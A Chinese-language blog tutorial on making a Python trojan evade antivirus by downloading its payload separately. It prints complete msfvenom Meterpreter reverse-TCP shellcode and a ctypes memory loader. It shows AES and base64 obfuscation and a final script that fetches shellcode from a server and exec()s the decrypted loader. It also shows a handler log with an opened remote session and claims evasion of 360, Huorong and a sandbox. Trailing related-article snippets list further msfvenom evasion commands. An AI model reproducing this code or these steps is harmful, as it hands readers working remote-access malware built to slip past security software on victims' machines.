Python木马分离免杀(下载分离型)

article/2025/9/24 2:21:32

渗透环境:

目标主机:win10-192.168.159.133-杀软360、火绒、微步云沙盒

攻击主机:kali-192.168.159.129

使用工具:msfconsole、pyinstaller、pycharm

木马制作过程:

1、msfconsole的msfvenom模块生成shellcode

kalimsfconsole
msf6 > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.129 LPORT=5555 -f py -o babycarefor64.py
exit
cat /usr/bin/babycarefor64.py
取出生成的shellcode

2、编写babycarefor64.py文件(原始木马源码,我装的python为64位,需按本机位数选择加载器代码)

 import ctypes​buf =  b""buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7"buf += b"\x4a\x4a\x4d\x31\xc9\x48\x8b\x72\x50\x48\x31\xc0"buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"buf += b"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b"buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x8b"buf += b"\x48\x18\x50\x49\x01\xd0\xe3\x56\x48\xff\xc9\x4d"buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"buf += b"\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"buf += b"\x49\xbc\x02\x00\x15\xb3\xc0\xa8\x9f\x81\x41\x54"buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"buf += b"\xf0\xb5\xa2\x56\xff\xd5"​
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、加密路线:

shellcode部分 scode_2_b64.py

 base64编码->服务器
import ctypes,urllib.request,codecs,base64​buf =  b""buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7"buf += b"\x4a\x4a\x4d\x31\xc9\x48\x8b\x72\x50\x48\x31\xc0"buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"buf += b"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b"buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x8b"buf += b"\x48\x18\x50\x49\x01\xd0\xe3\x56\x48\xff\xc9\x4d"buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"buf += b"\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"buf += b"\x49\xbc\x02\x00\x15\xb3\xc0\xa8\x9f\x81\x41\x54"buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"buf += b"\xf0\xb5\xa2\x56\xff\xd5"​babynum=bufbabynum_b64=base64.b64encode(babynum)print(babynum_b64)​with open('babybnumb64.txt', 'w') as f:f.write(babynum_b64.decode())#然后把babybnumb64.txt文件放入能访问的服务器路径中

加载器部分lder_2.py

 base64编码->AES
 import binasciiimport base64from Cryptodome.Cipher import AES​baby2='''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(babynum), 0x3000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(babynum), len(babynum))handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''b64str = base64.b64encode(baby2.encode())print(b64str.decode())source = b64str.decode()if len(source.encode('utf-8')) % 16:add = 16 - (len(source.encode('utf-8')) % 16)else:add = 0source = source + ('\0' * add)print(source)key = 'wojiushixihuanchimaidanglaohahah'.encode()mode = AES.MODE_CBCiv = b'nixihuanchimaida'cryptos = AES.new(key, mode, iv)cipher = cryptos.encrypt(source.encode())print(cipher)print(binascii.b2a_hex(cipher).decode())

4、解密验证(一定要有此步骤,加解密过程很容易使原木马失效,做一步验一下木马有效性最佳):

汇总木马babycare_now.py

import binascii,ctypesimport urllib.request,codecs,base64from Cryptodome.Cipher import AES​babynum = urllib.request.urlopen('http://192.168.159.134/babybnumb64.txt').read().strip()
#babynum是base64编码又放到了服务器的shellcodebabynum = base64.b64decode(babynum)babynum = codecs.escape_decode(babynum)[0]# babynum = bytearray(babynum)print(babynum)​​# 还原加载器,source是加载器的密文source = 'fb6e865aab950e3049e0a84ad5b616799ce8551d7e5648c79398d1a23dd002ecb56539d430a13bdbb6bef74863a88b55ff027a765e357c370050765eba56147fb1ba15f120fcf9062ad19dcdf21bdb10edac41ac7ba352313fed4ac190edacd825a9d6cdd740282f25ebe5762a12fff5d638390f8c67cf7922ac93a38bd763d19614150888bcba3b70d6b8a1b0f829e0043937624529c4e4c974458c859fe7c4dfa49529720517e2a47abfafa1fce6450d8543dcb66161d32c29b8f4e7d9ac48baa5456d22cb5352cd543a5e668efb765fd6a515fbd00bb84c0f9d081b043963b739867a15a2a334cbfc8490f43b27aa95aa5a172858aa14477de329c0c16eac894264268c4c0245b6ed49604a6f3ad5a9f4b0c311fb0682426e72d345f692729e9bb9978d55b084246581e243158eb9e86e6f88e44e7bd44330907a88049560dbbf3119d33e3b4834275ee0b0aa4aa453f34139d584ac9dc2663ce01ed9577a98868eb1317e112d26d0c76c25b54f6b2572d9266a28e44119303455f1c130f4762701fd4abb452f07dcc2fb16ae914a26733f5fd5c246fa0ab9473571ba22284831be6cddd2b557f56cb0ac513614a2e09520d6453bda3019a6ab4d6a6d34ad558df0ca75ed8a05d3862c06f9d3d3dba18898164e407a3df8f0e06bc132ad5afc2ee265dc6c732730a13d5db92d39123eda18e84881deb35bdb5f80b206f6c50f36bf5ba065a8d8818455ef1127810d'key = 'wojiushixihuanchimaidanglaohahah'.encode()mode = AES.MODE_CBCiv = b'nixihuanchimaida'cryptos = AES.new(key, mode, iv)dest = cryptos.decrypt(binascii.a2b_hex(source))b64str = dest.decode().rstrip('\0')# Base64还原加载器代码loader = base64.b64decode(b64str).decode()# 执行代码,这里不要用eval,因为eval只能运行单个表达式exec(loader)

kali开启监听后运行汇总木马py,连接并成功

msf6 > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.129 LPORT=5555 -f py msf6 > use exploit/multi/handler[*] Using configured payload android/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 192.168.159.129LHOST => 192.168.159.129msf6 exploit(multi/handler) > set LPORT 5555LPORT => 5555msf6 exploit(multi/handler) > run​[*] Started reverse TCP handler on 192.168.159.129:5555 [*] Sending stage (200774 bytes) to 192.168.159.1[*] Meterpreter session 2 opened (192.168.159.129:5555 -> 192.168.159.1:63297) at 2023-04-26 09:26:34 -0400​meterpreter > sysinfoComputer        : WILDWINDDINGOS              : Windows 10 (10.0 Build 22000).Architecture    : x64System Language : zh_CNDomain          : WORKGROUPLogged On Users : 2Meterpreter     : x64/windowsmeterpreter > 

 

5、使用pyinstaller打包exe,移植到测试机,开启kali监听,连接成功

 

6、静态免杀测试360和火绒均通过,开启杀软后运行exe仍能正常连接,证明动态行为检测也通过。微步沙箱检出率1/23

 

 


http://chatgpt.dhexx.cn/article/DLDtvWKc.shtml

相关文章

关于木马免杀的一些方法

一、免杀简述 ​ 理论上讲,免杀⼀定是出现在杀毒软件之后的。⽽通过杀毒软件的发展史不难知 道,第⼀款杀毒软件 kill 1.0是Wish公司1987年推出的,也就是说免杀技术⾄少是在 1989年以后才发展起来的。 ​ 1989年:第⼀款杀毒软件M…

MSF木马的免杀(三)

目录 MSF木马的免杀 C/C加载免杀 加图标 MSF木马的免杀 MSF下输入下列命令,生成免杀shellcode msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOSTx.x.x.x LPORT8888 -e x86/shikata_ga_nai -i 15 -b \x00\ PrependMigratetrue Pre…

木马免杀平台

VirScan 《多引擎在线扫描平台》 访问:https://www.virscan.org/ VirusTotal 《威胁猎捕平台》 访问:https://www.virustotal.com/gui/home/upload Jotti 《恶意软件扫描系统》 访问:https://virusscan.jotti.org/ 腾讯哈勃分析系统 《文件…

绕过杀毒软件,免杀木马制作

绕过杀毒软件,免杀木马制作(以AVG Anti Spyware杀毒软件为例) 一、将Sever.exe打开,分块生成100个文件 二、使用AVG Anti Spyware查杀生成的文件,再二次处理,重复这个过程,直到缩小到很小的范围…

木马的伪装与免杀

0x01:我们依靠msf生成简单的shellcode免杀 msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOSTXXX LPORTXXX -e x86/shikata_ga_nai -i 12 -b \x00\ PrependMigratetrue PrependMIgrateProxsvchost.exe -f c > /root/Desktop/shellcode.c 这里我们生成…

后渗透-木马免杀

木马免杀 0x00 免杀 木马免杀的方法有很多种,如反转、异或、远程加载、加壳等,这里举例反转加异或 0x01 利用msfvenom制作木马 sfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.12.135 LPORT5555 -f py > 2.py# -p 指定payload # LHO…

APT之木马静态免杀

前言 这篇文章主要是记录手动编写代码进行木马免杀,使用工具也可以免杀,只不过太脚本小子了,而且工具的特征也容易被杀软抓到,指不定哪天就用不了了,所以要学一下手动去免杀木马,也方便以后开发一个只属于…

【木马免杀】

文章目录 前言题目一.免杀需求,查杀技术,免杀技巧,免杀实战免杀需求查杀技术免杀技巧免杀实战webshell免杀:1.引用免杀2.可变变量3.二维数组4.数组交集5.回调函数6.编码 木马免杀:1.msf自带免杀2.msf捆绑免杀3.msf自带…

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么?因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF,演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…

msf生成免杀木马

一.杀软原理 免杀概念免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“…

052 木马免杀全攻略

木马免杀全攻略 转载自:a1pass.blog.163.com 2007-12-07 14:02:24| 分类: 思绪燃星火——技 | 标签:黑客 杂志刊物 作者:A1Pass 出处:http://a1pass.blog.163.com/ 本文发表于07年第7期《黑客X档案》,与原…

渗透测试-木马免杀的几种方式

前言 免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏…

木马免杀方式

前言 免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏…

Kali渗透-MSF木马免杀技术

前言 免杀技术全称为反杀毒技术 Anti-Virus 简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码&#…

C语言C++制作游戏外挂,一个简单的内存外挂!

通过 C 语言编写一个简单的外挂,通过 API 函数修改游戏数据,从而实现作弊功能 对象分析 要用的 API 函数简单介绍 编写测试效果 总体评价 下面是小编整理好的一套C/C资料,加小编C/C编程学习群825414254获取系统性学习C/C的学习资料 对象分析…

使用MisakaPatcher制作Galgame外挂汉化补丁

简介 这两天我看见一个galgame机翻工具 MisakaTranslator,它类似VNR,使用C#编写并且支持Hook和OCR(图像识别)两种方法提取文本。 我在MisakaTranslator的基础上进行了一些改动,去除了所有的机翻的功能,转…

利用python编程,制作自己的游戏“外挂”!

Python简介及应用领域 Python是一种解释型脚本语言,可以应用于以下领域: Web 和 Internet开发科学计算和统计人工智能教育桌面界面开发软件开发后端开发网络爬虫 今天以一个小游戏和一小段代码来告诉大家编程有多好玩。 编程用的好,不仅可…

外挂的艺术-单机游戏辅助工具-网络游戏外挂

外挂(wi gu) 又叫开挂、开外挂、辅助、第三方辅助软件,综合某些修改器的功能进行编程出的游戏修改器。一般指通过修改游戏数据而为玩家谋取利益的作弊程序或软件,即利用电脑技术针对一个或多个软件进行非原设操作,篡改…

一步步用python制作游戏外挂【转】

玩过电脑游戏的同学对于外挂肯定不陌生,但是你在用外挂的时候有没有想过如何做一个外挂呢?(当然用外挂不是那么道义哈,呵呵),那我们就来看一下如何用python来制作一个外挂。。。。 我打开了4399小游戏网&am…

制作游戏辅助/外挂违法吗?

不知道你们有没有过一个体验: 玩《绝地求生》的时候,我们辛辛苦苦开着车在跑毒,旁边“咻”的一下突然蹭上来一个人,徒步跑得竟然比车快? 然后吧他还跑到你旁边开麦问:“嘿!兄弟!挂…